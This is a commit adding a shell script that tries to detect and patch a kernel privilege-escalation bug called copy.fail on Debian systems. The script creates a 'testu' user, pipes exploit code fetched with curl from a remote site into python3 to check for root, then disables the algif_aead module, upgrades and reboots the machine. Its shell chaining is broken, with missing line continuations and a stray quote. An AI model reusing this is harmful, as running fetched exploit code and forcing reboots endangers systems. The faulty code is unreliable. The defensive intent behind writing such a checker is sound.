add script to try patching for copy.fail

Try to automate detecting and patching for copy.fail on debian/apt systems.

For information on the vulnerability please see: https://copy.fail

fix-copy-fail.sh

@@ -0,0 +1,42 @@
+#!/usr/bin/sh
+# Copyright (c) 2026 Corwin Brust <corwin@bru.st>
+#
+# This program is free software: you can redistribute it and/or modify
+#  it under the terms of the GNU General Public License as published by
+#  the Free Software Foundation, either version 3 of the License, or
+#  (at your option) any later version.
+#  This program is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU General Public License for more details.
+#  You should have received a copy of the GNU General Public License
+#  along with this program.  If not, see <https://www.gnu.org/licenses/>.
+#
+
+# Delete the test user if it exists
+# NOTE: this make the script repeatable however
+# it will still abandon the 'testu' account
+#
+# To remove the test account after patching:
+#   deluser testu 
+#
+grep '^testu ' /etc/passwd && deluser testu;
+
+# Note this may not work all in one shot
+# due to the exploit screwing with the kernel
+# usermap resident in memory.
+
+adduser --disabled-password --gecos='""' testu \
+  && su testu -c 'cd; curl https://copy.fail/exp | python3 && su -c id' | grep root \
+   && echo "EXPLOIT DETECTED: copy.fail  FFI, please see: https://copy.fail" \
+   && echo
+   && echo "The system MUST be restarted before confirming the fix."
+   && echo "If changes are made this should happen automatically but do it manually if that fails."
+   && echo
+   && echo "Pausing for ten seconds before attempting to fix..""
+   && sleep 10 \
+   && echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf \
+   && rmmod algif_aead \
+   && apt-get update -y && apt-get upgrade -y && apt-get full-upgrade -y && shutdown -r now \
+   || echo "Check halted: check above for error messages.\n" \
+           "If the only error message you see if from grep you patched for copy.fail."